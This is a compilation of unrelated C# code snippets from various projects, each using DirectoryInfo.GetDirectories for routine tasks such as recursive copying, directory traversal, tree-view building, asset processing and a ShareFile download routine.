private static void DirectoryCopy(string sourceDirName, string destDirName, bool copySubDirs) { DirectoryInfo dir = new DirectoryInfo(sourceDirName); DirectoryInfo[] dirs = dir.GetDirectories(); if (!dir.Exists) { throw new DirectoryNotFoundException( "Source directory does not exist or could not be found: " + sourceDirName); } if (!Directory.Exists(destDirName)) { Directory.CreateDirectory(destDirName); } FileInfo[] files = dir.GetFiles(); foreach (FileInfo file in files) { string temppath = Path.Combine(destDirName, file.Name); file.CopyTo(temppath, true); } if (copySubDirs) { foreach (DirectoryInfo subdir in dirs) { string temppath = Path.Combine(destDirName, subdir.Name); DirectoryCopy(subdir.FullName, temppath, copySubDirs); } } }
/// <summary> /// Recursive Copy Directory Method /// </summary> private static void CopyAll(DirectoryInfo source, DirectoryInfo target) { // Check if the source directory exists, if not, don't do any work. if (!Directory.Exists(source.FullName)) { return; } // Check if the target directory exists, if not, create it. if (!Directory.Exists(target.FullName)) { Directory.CreateDirectory(target.FullName); } // Copy each file into it’s new directory. foreach (var fileInfo in source.GetFiles()) { fileInfo.CopyTo (Path.Combine (target.ToString (), fileInfo.Name), true); } // Copy each subdirectory using recursion. foreach (var subDirInfo in source.GetDirectories()) { DirectoryInfo nextTargetSubDir = target.CreateSubdirectory(subDirInfo.Name); CopyAll(subDirInfo, nextTargetSubDir); } }
public static string DeleteIfExists(DirectoryInfo root, string sub) { if (root.GetDirectories().Any(x => x.Name.Equals(sub, System.StringComparison.OrdinalIgnoreCase))) { root.GetDirectories(sub).First().Delete(); return "Deleted " + sub; } return " -- " + sub + " directory not present"; }
public static List <DirectoryInfo> GetLazerVersions() { List <DirectoryInfo> AppVersions = LazerInstallationPath?.GetDirectories("app-*").ToList() ?? new List <DirectoryInfo>(); AppVersions.Reverse(); return(AppVersions); }
private void Find(DirectoryInfo directory) { try { ArrayList contains = new ArrayList(); contains.AddRange(directory?.GetDirectories()); contains.AddRange(directory?.GetFiles()); foreach (var item in contains) { if (item is DirectoryInfo dir) { Find(dir); } else if (item is FileInfo file) { if (file.Extension == ".png" || file.Extension == ".jpg" || file.Extension == ".jpeg") { Result.Add(file.FullName); } } } } catch (UnauthorizedAccessException) { } catch (Exception) { } }
private static void TreverseDirectories(XmlTextWriter writer, DirectoryInfo dir) { var folders = dir.GetDirectories(); var files = dir.GetFiles(); writer.WriteStartElement("folder"); writer.WriteElementString("name", dir.Name); try { if (files.Count() > 0) { writer.WriteStartElement("files"); foreach (var file in files) { writer.WriteElementString("name", file.Name); } writer.WriteEndElement(); } foreach (var child in folders) { TreverseDirectories(writer, child); } writer.WriteEndElement(); } catch (Exception) { Console.WriteLine("Access denied! "); } }
public static IEnumerable<string> IterateDirectory(DirectoryInfo dir) { DirectoryInfo[] directories = dir.GetDirectories("*", SearchOption.TopDirectoryOnly); foreach (var directory in directories) { yield return string.Format("<DIR> {0}:", directory); foreach (var file in directory.GetFiles("*.*", SearchOption.AllDirectories)) { yield return string.Format(" - {0}", file); } foreach (var subDirectory in directory.GetDirectories("*", SearchOption.TopDirectoryOnly)) { yield return string.Format(" - <DIR> {0}:", subDirectory); foreach (var file in subDirectory.GetFiles("*.*", SearchOption.AllDirectories)) { yield return string.Format(" -- {0}", file); } } yield return " "; } }
public void LoadFolders() { if (Directory.Exists(this.RealImagePath)) { DirectoryInfo _currentFolder = new DirectoryInfo(this.current_path.Value); DirectoryInfo[] _subs = _currentFolder.GetDirectories(); this.FolderList.DataSource = _subs; this.FolderList.DataBind(); //get files in patterns string[] pattern = { "*.jpg", "*.jpeg", "*.gif" ,"*.png","*.bmp"}; List<FileInfo> _imagesFound = new List<FileInfo>(); foreach (string filter in pattern) { _imagesFound.AddRange(_currentFolder.GetFiles(filter)); } this.FileList.DataSource = _imagesFound; this.FileList.DataBind(); //Response.Write(_currentFolder.FullName); //Response.Write(Server.MapPath(this._rootPath)); if (!_currentFolder.FullName.Equals( Server.MapPath(this._rootPath),StringComparison.InvariantCulture)) { DirectoryInfo _parent = _currentFolder.Parent; this.go_up_btn.CommandArgument = _parent.FullName + "\\"; this.go_up_btn.Visible = true; } else { this.go_up_btn.Visible = false; } this.current_folder_name_lbl.Text = this.current_path.Value; } }
public static void AssetsConvertLineEndings() { try { DirectoryInfo projectDir = new DirectoryInfo(Directory.GetCurrentDirectory()); if (null == projectDir) { return; } foreach (DirectoryInfo subDir in projectDir.GetDirectories()) { if (null == subDir) { continue; } if (subDir.Name.ToUpper().Equals("ASSETS")) { AssetsConvertLineEndings(subDir); } } } catch (System.Exception ex) { Debug.LogError(string.Format("Exception={0}", ex)); } AssetDatabase.Refresh(); Debug.Log(string.Format("{0} Processing is done", DateTime.Now)); }
static void WalkDirectoryTree(DirectoryInfo root, DirectoryTree folderTree, Folder currentFolder) { FileInfo[] files = null; DirectoryInfo[] subDirs = null; try { files = root.GetFiles("*.*"); } catch (UnauthorizedAccessException e) { log.Add(e.Message); } catch (DirectoryNotFoundException e) { Console.WriteLine(e.Message); } if (files != null) { currentFolder.Files = files.Select(f => new File(f.Name, f.Length)).ToList(); subDirs = root.GetDirectories(); currentFolder.ChildFolders = subDirs.Select(d => new Folder(d.Name)).ToList(); var i = 0; foreach (DirectoryInfo dirInfo in subDirs) { WalkDirectoryTree(dirInfo, folderTree, currentFolder.ChildFolders[i]); i++; } } }
/// <summary> /// Recursively convert all source files and subfolders /// </summary> /// <param name="directory"></param> public static void AssetsConvertLineEndings(DirectoryInfo directory) { if (null == directory) { return; } // get all source files foreach (string extension in EXTENSION_SOURCE) { foreach (FileInfo file in directory.GetFiles(extension)) { ConvertAsset(file); } } // scan subfolders foreach (DirectoryInfo subDir in directory.GetDirectories()) { if (null == subDir) { continue; } if (subDir.Name.ToUpper().Equals(".SVN")) { continue; } //Debug.Log(string.Format("Directory: {0}", subDir)); AssetsConvertLineEndings(subDir); } }
private static void TreverseDir(DirectoryInfo dir) { var currentFolder = new CustomFolder(dir.Name); folderStructure.Add(currentFolder); var folders = dir.GetDirectories(); var files = dir.GetFiles(); try { foreach (var file in files) { var currentFile = new CustomFile(file.Name, file.Length); currentFolder.AddFile(currentFile); } foreach (var folder in folders) { var childFolder = new CustomFolder(folder.Name); currentFolder.AddFolder(childFolder); TreverseDir(folder); } } catch (Exception) { Console.WriteLine("Access denied! "); } }
public static void UpdateAssemblyInfos(string path, string version, string file_version, List<string> ignore_folders) { if ((path == ".") || (path == ".\\")) { path = Directory.GetCurrentDirectory(); } DirectoryInfo folder = new DirectoryInfo(path); if (folder != null) { DoUpdateAssemblyInfos(path, version, file_version, ignore_folders); DirectoryInfo[] folders = folder.GetDirectories(); foreach (DirectoryInfo subfolder in folders) { if (ignore_folders != null) { if (ignore_folders.Contains(subfolder.Name)) { continue; } } UpdateAssemblyInfos(subfolder.FullName, version, file_version, null); } } }
private static List<Texture> LoadDirectoriesRecursive(string folderPath, List<Texture> textures) { DirectoryInfo folder = new DirectoryInfo(folderPath); if (!folder.Exists) return textures; DirectoryInfo[] subfolders = folder.GetDirectories(); FileInfo[] files = folder.GetFiles(); foreach (FileInfo file in files) { string extension = file.Extension.ToLower(); if (!extension.Equals(".png") && !extension.Equals(".jpg")) continue; string url = file.FullName; string name = Path.GetFileNameWithoutExtension(url); Texture tex = ImportTextureLocal(url); tex.name = name; textures.Add(tex); } foreach (DirectoryInfo subfolder in subfolders) { string fullName = subfolder.FullName; textures = LoadDirectoriesRecursive(fullName, textures); } return textures; }
/// <summary> /// Verzeichnis rekursiv kopieren. Vorhandene Dateien werden überschreiben /// </summary> /// <param name="source">QuellVERZEICHNIS</param> /// <param name="target">ZielVERZEICHNIS</param> /// <param name="dirCount">für jedes erzeugte Verzeichnis +=1</param> /// <param name="fileCount">für jede erzeugte Datei +=1</param> public static void CopyAll( DirectoryInfo source, DirectoryInfo target, ref int dirCount, ref int fileCount) { // Check if the target directory exists, if not, create it. if (!Directory.Exists(target.FullName)) { dirCount++; Directory.CreateDirectory(target.FullName); Logger.Log("Verzeichnis erstellt: " + target.FullName); } // Copy each file into its new directory. foreach (FileInfo fi in source.GetFiles()) { fileCount++; fi.CopyTo(Path.Combine(target.ToString(), fi.Name), true); Logger.Log("Datei kopiert: " + fi.FullName); } // Copy each subdirectory using recursion. foreach (DirectoryInfo diSrcSubDir in source.GetDirectories()) { dirCount++; DirectoryInfo diNext = target.CreateSubdirectory(diSrcSubDir.Name); CopyAll(diSrcSubDir, diNext, ref dirCount, ref fileCount); } }
public static DirectoryInfo[] get_dirs_sort_by_name_desc(string dir_name) { DirectoryInfo dir_info = new DirectoryInfo(dir_name); DirectoryInfo[] dir_infos = dir_info.GetDirectories(); FileHelper.sort_dir_by_name_desc(ref dir_infos); return dir_infos; }
/// <summary> /// Destory Old Excel /// </summary> private void destroyOldExcel() { try { string path = Server.MapPath("~") + @"ExcelReport\"; string folderName = DateTime.Now.ToString("yyyyMMdd"); DirectoryInfo root = new DirectoryInfo(path); DirectoryInfo[] nodes = root.GetDirectories(); FileInfo[] files = null; for (int i = 0; i < nodes.Length; i++) { if (!string.Equals(nodes[i].Name, folderName)) { files = nodes[i].GetFiles(); for (int j = 0; j < files.Length; j++) { if (files[j].Attributes.ToString().IndexOf("ReadOnly") != -1) { files[j].Attributes = FileAttributes.Normal; } files[j].Delete(); } nodes[i].Delete(); } } } catch { } }
private static void DirectoryCopy(string sourceDirName, string destDirName, bool copySubDirs) { // Get the subdirectories for the specified directory. DirectoryInfo dir = new DirectoryInfo(sourceDirName); DirectoryInfo[] dirs = dir.GetDirectories(); if (!dir.Exists) { throw new DirectoryNotFoundException("Source directory does not exist or could not be found: " + sourceDirName); } // If the destination directory doesn't exist, create it. if (!Directory.Exists(destDirName)) { Directory.CreateDirectory(destDirName); } // Get the files in the directory and copy them to the new location. FileInfo[] files = dir.GetFiles(); foreach (FileInfo file in files) { string temppath = destDirName + "/" + file.Name; file.CopyTo(temppath, false); } // If copying subdirectories, copy them and their contents to new location. if (copySubDirs) { foreach (DirectoryInfo subdir in dirs) { string temppath = destDirName + "/" + subdir.Name; DirectoryCopy(subdir.FullName, temppath, copySubDirs); } } }
public static void GetAssets(string extension, Dictionary<string, string> files, DirectoryInfo directory) { if (null == directory) { return; } foreach (FileInfo file in directory.GetFiles(extension)) { if (string.IsNullOrEmpty(file.FullName) || files.ContainsKey(file.FullName.ToLower())) { continue; } files.Add(file.FullName.ToLower(), file.FullName); } foreach (DirectoryInfo subDir in directory.GetDirectories()) { if (null == subDir) { continue; } if (subDir.Name.ToUpper().Equals(".SVN")) { continue; } //Debug.Log(string.Format("Directory: {0}", subDir)); GetAssets(extension, files, subDir); } }
public static void enablePromptAfterInstall( bool enable ) { // find all the config.plist files in plugin directories string basePath = Path.Combine( Application.dataPath, "Editor" ); var dirInfo = new DirectoryInfo( basePath ); var pluginDirs = from dir in dirInfo.GetDirectories() let files = dir.GetFiles( "config.plist" ) where files.Length == 1 select files[0]; // loop through our pluginDirs foreach( var dir in pluginDirs ) { if( !File.Exists( dir.FullName ) ) continue; // initialize the hashtable and plistKeys Hashtable plistContents = new Hashtable(); PListEditor.loadPlistFromFile( dir.FullName, plistContents ); if( plistContents.ContainsKey( "neverShowCompletedMessage" ) ) { plistContents["neverShowCompletedMessage"] = !enable; PListEditor.savePlistToFile( dir.FullName, plistContents ); } } }
public List<Item> GetItems(string path) { var items = new List<Item>(); var dirInfo = new DirectoryInfo(path); foreach (var dir in dirInfo.GetDirectories()) { var item = new DirectoryItem { Name = dir.Name, Path = dir.FullName, Items = GetItems(dir.FullName) }; items.Add(item); } foreach (var file in dirInfo.GetFiles()) { var item = new FileItem { Name = file.Name, Path = file.FullName }; items.Add(item); } return items; }
static void Main () { DirectoryInfo di; DirectoryInfo [] dirs; FileInfo [] files; string basedir = AppDomain.CurrentDomain.BaseDirectory; di = new DirectoryInfo (basedir); dirs = di.GetDirectories (); files = di.GetFiles (); Assert.AreEqual (3, dirs.Length, "#A1"); Assert.AreEqual (".svn", dirs [0].Name, "#A2"); Assert.AreEqual ("dirB", dirs [1].Name, "#A3"); Assert.AreEqual ("test", dirs [2].Name, "#A4"); Assert.AreEqual (4, files.Length, "#B1"); Assert.AreEqual ("default.build", files [0].Name, "#B2"); Assert.AreEqual ("fileB.txt", files [1].Name, "#B3"); Assert.AreEqual ("test.cs", files [2].Name, "#B4"); Assert.AreEqual ("test.exe", files [3].Name, "#B5"); di = new DirectoryInfo (Path.Combine (basedir, "dirB")); dirs = di.GetDirectories (); files = di.GetFiles (); Assert.AreEqual (0, dirs.Length, "#C1"); Assert.AreEqual (1, files.Length, "#D1"); Assert.AreEqual ("fileA.tmp", files [0].Name, "#D2"); }
public static void CopyFilesRecursively(DirectoryInfo source, DirectoryInfo target) { foreach (DirectoryInfo dir in source.GetDirectories()) CopyFilesRecursively(dir, target.CreateSubdirectory(dir.Name)); foreach (FileInfo file in source.GetFiles()) file.CopyTo(Path.Combine(target.FullName, file.Name)); }
private static long GetDirectoriesSizes(Dictionary<string, long> directoriesSizes, DirectoryInfo currentFolder) { long filesSum = currentFolder.GetFiles().Select(f => f.Length).Sum(); directoriesSizes[currentFolder.Name] = filesSum; if (currentFolder.GetDirectories().Length == 0) { return directoriesSizes[currentFolder.Name]; } foreach (var directory in currentFolder.GetDirectories()) { directoriesSizes[currentFolder.Name] += GetDirectoriesSizes(directoriesSizes, directory); } return directoriesSizes[currentFolder.Name]; }
private void emptyDirectory(string path) { var dinfo = new DirectoryInfo(path); foreach (System.IO.FileInfo file in dinfo.GetFiles()) file.Delete(); foreach (System.IO.DirectoryInfo subDirectory in dinfo.GetDirectories()) subDirectory.Delete(true); }
private static void FindAllFiles(DirectoryInfo directory) { try { var childDirectories = directory.GetDirectories(); foreach (var dir in childDirectories) { FindAllFiles(dir); } } catch (UnauthorizedAccessException uae) { Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine(uae.Message); Console.ForegroundColor = ConsoleColor.Gray; } var filesInDirectory = directory.GetFiles(); foreach (var file in filesInDirectory) { if (file.Extension == extension) { Console.WriteLine(file.DirectoryName); Console.ForegroundColor = ConsoleColor.Yellow; Console.WriteLine(file.Name); Console.ForegroundColor = ConsoleColor.Gray; } } }
public static bool IsGitRepo(string dirPath) { if (!Directory.Exists(dirPath)) return false; var dir = new DirectoryInfo(dirPath); return dir.GetDirectories().Any(x => x.Name == ".git"); }
static void MakeAtlas() { string spriteDir = Application.dataPath +"/Resources/Sprite"; if(!Directory.Exists(spriteDir)){ Directory.CreateDirectory(spriteDir); } DirectoryInfo rootDirInfo = new DirectoryInfo (Application.dataPath +"/UGUI_MakeAtlas"); foreach (DirectoryInfo dirInfo in rootDirInfo.GetDirectories()) { //foreach (FileInfo pngFile in dirInfo.GetFiles("",SearchOption.AllDirectories)) { foreach (FileInfo pngFile in dirInfo.GetFiles("*.png",SearchOption.AllDirectories)) { string allPath = pngFile.FullName; string assetPath = allPath.Substring(allPath.IndexOf("Assets")); Sprite sprite = Resources.LoadAssetAtPath<Sprite>(assetPath); GameObject go = new GameObject(sprite.name); go.layer = LayerMask.NameToLayer("UI"); go. AddComponent<SpriteRenderer>().sprite = sprite; allPath = spriteDir+"/sprite_"+sprite.name+".prefab"; string prefabPath = allPath.Substring(allPath.IndexOf("Assets")); PrefabUtility.CreatePrefab(prefabPath,go); GameObject.DestroyImmediate(go); } } }
protected TreeNode AddNodeAndDescendents(DirectoryInfo folder, TreeNode parentNode) { // displaying the folder's name and storing the full path to the folder as the value string virtualFolderPath; if (parentNode == null) { virtualFolderPath = VirtualSiteRoot; } else { virtualFolderPath = parentNode.Value + folder.Name + "/"; } TreeNode node = new TreeNode(folder.Name, virtualFolderPath); node.Selected = (folder.Name == selectedFolderName); // Recurse through this folder's subfolders DirectoryInfo[] subFolders = folder.GetDirectories(); foreach (DirectoryInfo subFolder in subFolders) { if (subFolder.Name != "App_Data") { TreeNode child = AddNodeAndDescendents(subFolder, node); node.ChildNodes.Add(child); } } // Return the new TreeNode return node; }
public int ShowDirectory(DirectoryInfo curDir, int inLevel, ArrayList dirs) { int i; string indent = ""; try { for (i = 0; i < visits; i++) { indent += TAB; } dirs.Add(indent + curDir.Name); visits++; foreach (DirectoryInfo subDir in curDir.GetDirectories()) { dirCounter++; ShowDirectory(subDir, visits, dirs); //FileInfo[] files = subdir.GetFiles(); } visits--; if (indent.Length > 0) indent.Substring(0, indent.Length - TAB.Length); } catch (Exception ex) { return -1; } return dirCounter; }
private static string GetDirectoryTemplates(string templateName, string relativeDirName, DirectoryInfo rootDirectory, List<string> dependencyList) { dependencyList.Add(rootDirectory.FullName); var newSubRelativeDirName = relativeDirName; if (!string.IsNullOrEmpty(newSubRelativeDirName)) { newSubRelativeDirName = newSubRelativeDirName + "-"; } var content = ""; foreach (DirectoryInfo subDir in rootDirectory.GetDirectories()) { content += GetDirectoryTemplates(templateName, newSubRelativeDirName + subDir.Name, subDir, dependencyList); } foreach (FileInfo templateFile in rootDirectory.GetFiles()) { string subtemplateName = templateFile.Name; int fileExtensionPosition = subtemplateName.LastIndexOf('.'); if (fileExtensionPosition > 0) { subtemplateName = subtemplateName.Substring(0, fileExtensionPosition); } if (relativeDirName.Length > 0 && relativeDirName[relativeDirName.Length - 1] != '-') { relativeDirName += "-"; } content += ReadTemplate(templateName + relativeDirName + subtemplateName, templateFile); } return content; }
public static void Example() { DirectoryInfo diretorio = new DirectoryInfo("C://teste"); Console.WriteLine("Diretório: " + (diretorio?.FullName ?? "Não definido")); Console.WriteLine("Primeiro subdiretório: " + (diretorio?.GetDirectories().FirstOrDefault()?.FullName ?? "Não encontrado")); }
public static string GetParentFolder(this DirectoryInfo directoryInfo, string folderName) { folderName = folderName.ToLower(); while (directoryInfo != null && directoryInfo.GetDirectories().All(info => info.Name.ToLower() != folderName)) { directoryInfo = directoryInfo.Parent; } return(directoryInfo?.GetDirectories().First(info => info.Name.ToLower() == folderName).FullName); }
/// <summary> /// dynamic data collection, which is provided when items are added, available or after refreshing the entire list. /// </summary> /// <param name="directoryInfo"></param> /// <returns></returns> ObservableCollection <string> GetFilesNameList(DirectoryInfo directoryInfo) { ObservableCollection <string> listOfFileName = new ObservableCollection <string>(); foreach (var name in directoryInfo?.GetDirectories("*", SearchOption.TopDirectoryOnly)) { listOfFileName.Add(name.Name); } return(listOfFileName); }
/// <summary> /// setting directories /// </summary> /// <param name="directoryInfo"></param> /// <returns></returns> ObservableCollection <string> GetDirectoriesNameList(DirectoryInfo directoryInfo) { ObservableCollection <string> directoriesNamesList = new ObservableCollection <string>(); directoriesNamesList.Add(".."); foreach (var directory in directoryInfo?.GetDirectories("*", SearchOption.TopDirectoryOnly)) { directoriesNamesList.Add(directory.Name); } return(directoriesNamesList); }
private static DirectoryInfo GetPDFDirectory() { DirectoryInfo directoryInfo = new DirectoryInfo(CurrentDirectory); while (directoryInfo != null && !directoryInfo.GetDirectories("PDFs").Any()) { directoryInfo = directoryInfo.Parent; } directoryInfo = directoryInfo?.GetDirectories("PDFs").First(); return(directoryInfo); }
/// <summary> /// Loads all directories via path in a Treeview /// </summary> /// <param name="path">path of directory to load</param> /// <param name="isNodeClick">Checks to see if this is a Treeview Node double click</param> private void LoadContents(string path, bool isNodeClick = false) { // Check if the path is null or empty OR if it is an actual file. If so, return if (string.IsNullOrEmpty(path) || File.Exists(path)) { return; } treeView1.Nodes.Clear(); DirectoryInfo directoryInfo = new DirectoryInfo(path); try { foreach (DirectoryInfo dirInfo in directoryInfo?.GetDirectories()) { TreeNode node = new TreeNode(); node.Text = dirInfo.FullName; node.ImageIndex = 1; node.SelectedImageIndex = 1; if (isNodeClick) { foreach (FileInfo file in dirInfo?.GetFiles()) { TreeNode childNode = new TreeNode(); childNode.Text = file.FullName; childNode.ImageIndex = 0; childNode.SelectedImageIndex = 0; node.Nodes.Add(childNode); } } treeView1.Nodes.Add(node); } foreach (FileInfo fileInfo in directoryInfo?.GetFiles()) { TreeNode fileNode = new TreeNode(); fileNode.Text = fileInfo.FullName; fileNode.ImageIndex = 0; fileNode.SelectedImageIndex = 0; treeView1.Nodes.Add(fileNode); } } catch (Exception ex) { MessageBox.Show(ex.ToString()); } textBox1.Text = path; }
private static bool CheckFilesOnModified(string sourceDirName, string backLocation) { DirectoryInfo dir = new DirectoryInfo(backLocation); var backupDirsCollection = dir.GetDirectories(); if (backupDirsCollection == null || backupDirsCollection.Count() == 0) { return(true); } var lastDir = backupDirsCollection?.OrderByDescending(o => o.LastWriteTime)?.First(); var backupFiles = lastDir?.GetFiles("*", SearchOption.AllDirectories); //var backupDirs = lastDir?.GetDirectories("*", SearchOption.AllDirectories); var dirBackupLastModifiedFile = new DateTime(); //var dirBackupLastModifiedDir = new DateTime(); if (backupFiles != null && backupFiles.Count() > 0) { dirBackupLastModifiedFile = backupFiles.OrderByDescending(o => o.LastWriteTime).Select(s => s.LastWriteTime).First(); } //if (backupDirs != null && backupDirs.Count() > 0) { // dirBackupLastModifiedDir = backupDirs.OrderByDescending(o => o.LastWriteTime).Select(s => s.LastWriteTime).First(); } DirectoryInfo dirOrigin = new DirectoryInfo(sourceDirName); var originFiles = dirOrigin?.GetFiles("*", SearchOption.AllDirectories); var originDirs = dirOrigin?.GetDirectories("*", SearchOption.AllDirectories); var dirOriginLastModifiedFile = new DateTime(); //var dirOriginLastModifiedDir = new DateTime(); if (originFiles != null && originFiles.Count() > 0) { dirOriginLastModifiedFile = originFiles.Select(s => s.LastWriteTime).Distinct().OrderByDescending(o => o).First(); } //if (originDirs != null && originDirs.Count() > 0) { // dirOriginLastModifiedDir = originDirs.Select(s => s.LastWriteTime).Distinct().OrderByDescending(o => o).First(); } var ofNames = originFiles.Select(s => s.FullName.Replace(sourceDirName, "")); var bfNames = backupFiles.Select(s => s.FullName.Replace(lastDir.FullName, "")); var movedFiles01 = bfNames.Except(ofNames).Count(); return((dirBackupLastModifiedFile != dirOriginLastModifiedFile) || (movedFiles01 > 0) /*|| (dirBackupLastModifiedDir != dirOriginLastModifiedDir)*/); }
private static DirectoryInfo GetDirectory(Directories directory) { DirectoryInfo directoryInfo = new DirectoryInfo(CurrentDirectory); try { while (directoryInfo != null && !directoryInfo.GetDirectories(directory.ToString()).Any()) { directoryInfo = directoryInfo.Parent; } directoryInfo = directoryInfo?.GetDirectories(directory.ToString()).First(); } catch (Exception ex) { ShowErrorMessage(ex, $"getting {directory} directory"); } return(directoryInfo); }
/// <summary> /// /// </summary> private void LoadTempates() { rootNode.Nodes.Clear(); DirectoryInfo rootFolder = rootNode.Tag as DirectoryInfo; var directoryInfos = rootFolder?.GetDirectories(); if (directoryInfos != null) { foreach (DirectoryInfo dir in directoryInfos) { TreeNode node = new TreeNode(dir.Name); node.Tag = dir; node.ContextMenuStrip = cms; node.ImageIndex = 1; node.SelectedImageIndex = 1; rootNode.Nodes.Add(node); LoadFiles(node); } } }
public static string GetNextFolder(string root, string last) { if (last.Length == 0) { return(root); } string rootParent = new DirectoryInfo(root).Parent?.FullName ?? ""; DirectoryInfo tmp = new DirectoryInfo(last).Parent; DirectoryInfo[] subTmp; while ((subTmp = tmp?.GetDirectories()) != null && subTmp[subTmp.Length - 1].FullName.Equals(last) && !tmp.FullName.Equals(rootParent) ) { last = tmp.FullName; tmp = tmp.Parent; if (tmp == null) { return(""); } } if (tmp.FullName.Equals(rootParent)) { return(""); } for (int i = 0; i < subTmp.Length - 1; ++i) { if (subTmp[i].FullName.Equals(last)) { return(subTmp[i + 1].FullName); } } return(""); }
// Class that renders a file-browser for Texture-Loading // Code from the Unify-Wiki, adapted by Thomas P. private Boolean Show() { // Our return state - altered by the "Select" button Boolean complete = false; mode = GUI.Toolbar(new Rect(10, 20, 510, 20), mode, new[] { Localization.LOC_KITTOPIATECH_FILEWINDOW_FILES, Localization.LOC_KITTOPIATECH_FILEWINDOW_BUILTIN }); builtin = mode == 1; if (!builtin) { // Get the directory info of the current location FileInfo fileSelection = String.IsNullOrEmpty(location) ? null : new FileInfo(location); DirectoryInfo directoryInfo = fileSelection == null ? new DirectoryInfo(KSPUtil.ApplicationRootPath + "GameData/") : (fileSelection.Attributes & FileAttributes.Directory) == FileAttributes.Directory ? new DirectoryInfo(location) : fileSelection.Directory; if (!location.EndsWith("GameData") && GUI.Button(new Rect(10, 45, 510, 20), Localization.LOC_KITTOPIATECH_FILEWINDOW_UP)) { directoryInfo = directoryInfo?.Parent; location = directoryInfo?.FullName; } else if (location.EndsWith("GameData")) { GUI.Label(new Rect(10, 45, 510, 20), Localization.LOC_KITTOPIATECH_FILEWINDOW_UP, GUI.skin.button); // Design-Hack, hehe :D } // Handle the directories list GUILayout.BeginArea(new Rect(10, 70, 250, 300)); GUILayout.Label(Localization.LOC_KITTOPIATECH_FILEWINDOW_DIRECTORIES + ":"); directoryScroll = GUILayout.BeginScrollView(directoryScroll); DirectoryInfo directorySelection = SelectList(directoryInfo?.GetDirectories(), null, GUI.skin.button, GUI.skin.button) as DirectoryInfo; GUILayout.EndScrollView(); GUILayout.EndArea(); if (directorySelection != null) // If a directory was selected, jump there { location = directorySelection.FullName; } // Handle the files list GUILayout.BeginArea(new Rect(270, 70, 250, 300)); GUILayout.Label(Localization.LOC_KITTOPIATECH_FILEWINDOW_FILES + ":"); fileScroll = GUILayout.BeginScrollView(fileScroll); fileSelection = SelectList(directoryInfo.GetFiles(), null, GUI.skin.button, GUI.skin.button) as FileInfo; GUILayout.EndScrollView(); GUILayout.EndArea(); if (fileSelection != null) // If a file was selected, update our location to it { location = fileSelection.FullName; } } else { // Design GUI.Label(new Rect(10, 45, 510, 20), Localization.LOC_KITTOPIATECH_FILEWINDOW_UP, GUI.skin.button); // Handle the directories list GUILayout.BeginArea(new Rect(10, 70, 510, 300)); GUILayout.Label(Localization.LOC_KITTOPIATECH_FILEWINDOW_FOR_TYPE + " " + type.Name + ":"); directoryScroll = GUILayout.BeginScrollView(directoryScroll); value = SelectList(Resources.FindObjectsOfTypeAll(type), value, GUI.skin.button, GUI.skin.button); GUILayout.EndScrollView(); GUILayout.EndArea(); } // The manual location box and the select button GUILayout.BeginArea(new Rect(10, 375, 510, 25)); GUILayout.BeginHorizontal(); GUILayout.Label(builtin ? value?.ToString() ?? "" : location.Replace(Path.Combine(Directory.GetCurrentDirectory(), "GameData") + Path.DirectorySeparatorChar, ""), GUI.skin.textArea); Int32 contentWidth = (int)GUI.skin.GetStyle("Button").CalcSize(new GUIContent(Localization.LOC_KITTOPIATECH_FILEWINDOW_SELECT)).x; if (GUILayout.Button(Localization.LOC_KITTOPIATECH_FILEWINDOW_SELECT, GUILayout.Width(contentWidth))) { complete = true; } GUILayout.EndHorizontal(); GUILayout.EndArea(); Current = builtin ? value?.ToString() : location; return(complete); }
/// <summary> /// Start download process /// </summary> private void StartDownload(ShareFileClient client, PSDriveInfo driveInfo, ICollection<string> resolvedPaths, ActionType actionType) { int transactionId = new Random((int)DateTime.Now.Ticks).Next(); ActionManager actionManager = new ActionManager(this, string.Empty); bool firstIteration = true; var shareFileItems = new List<Item>(); foreach (string path in resolvedPaths) { var item = Utility.ResolveShareFilePath(driveInfo, path); if (item == null) { throw new FileNotFoundException(string.Format("Source path '{0}' not found on ShareFile server.", path)); } var target = new DirectoryInfo(LocalPath); if (!target.Exists) { throw new Exception(string.Format("Destination '{0}' path not found on local drive.", LocalPath)); } // if create root folder flag is specified then create a container folder first // KA - Fix. When CreateRoot is used and the source item is a folder we should NOT create the parent of that folder. // This possibly fixes another unknown scenario when the root folder is specified as the source. if (firstIteration && CreateRoot && !(item is Models.Folder)) { Models.Folder parentFolder = client.Items.GetParent(item.url).Execute() as Folder; target = CreateLocalFolder(target, parentFolder); firstIteration = false; } if (item is Models.Folder) { // if user downloading the root drive then download its root folders // KA - Fix. We should also process only subfolders and files if CreateRoot is not used and source is a folder. // This prevents DownloadRecursive from creating the parent folder in conditions where CreateRoot is not specified. // Code adapted from DownloadRecursive function and processes both file sources and folder sources appropriately now. // if ((item as Folder).Info.IsAccountRoot.GetValueOrDefault()) if ((item as Folder).Info.IsAccountRoot.GetValueOrDefault() || !CreateRoot) { var children = client.Items.GetChildren(item.url) .Select("Id") .Select("url") .Select("FileName") .Select("FileSizeBytes") .Select("Hash") .Select("Info") .Execute(); if (children != null) { (item as Folder).Children = children.Feed; foreach (var child in children.Feed) { child.Parent = item; if (child is Models.Folder && ((item as Folder).Info.IsAccountRoot.GetValueOrDefault() || Recursive)) { DownloadRecursive(client, transactionId, child, target, actionType); shareFileItems.Add(child); } else if (child is Models.File) { DownloadAction downloadAction = new DownloadAction(FileSupport, client, transactionId, (Models.File)child, target, actionType); actionManager.AddAction(downloadAction); } } if (!(item as Folder).Info.IsAccountRoot.GetValueOrDefault()) { shareFileItems.Add(item); } } } else { DownloadRecursive(client, transactionId, item, target, actionType); shareFileItems.Add(item); } } else if (item is Models.File) { DownloadAction downloadAction = new DownloadAction(FileSupport, client, transactionId, (Models.File)item, target, actionType); actionManager.AddAction(downloadAction); shareFileItems.Add(item); } } actionManager.Execute(); // if strict flag is specified then also clean the target files which are not in source if (Strict) { var target = new DirectoryInfo(LocalPath); var directories = target.GetDirectories(); foreach (string path in resolvedPaths) { var item = Utility.ResolveShareFilePath(driveInfo, path); if (item is Folder) { foreach (DirectoryInfo directory in directories) { if (directory.Name.Equals(item.Name)) { DeleteLocalStrictRecursive(client, item, directory); break; } } } } } // on move remove source files if (Move) { foreach(var item in shareFileItems) { // KA - Fix. Replaced 'Recursive' with '!KeepFolders'. This prevents "Move" from deleting folders even when KeepFolders is specified. // This fixes the bug that causes the source folder to be deleted in all scenarios where "Move" is specified and it does not contain children. // DeleteShareFileItemRecursive(client, item, Recursive); DeleteShareFileItemRecursive(client, item, !KeepFolders); } } }
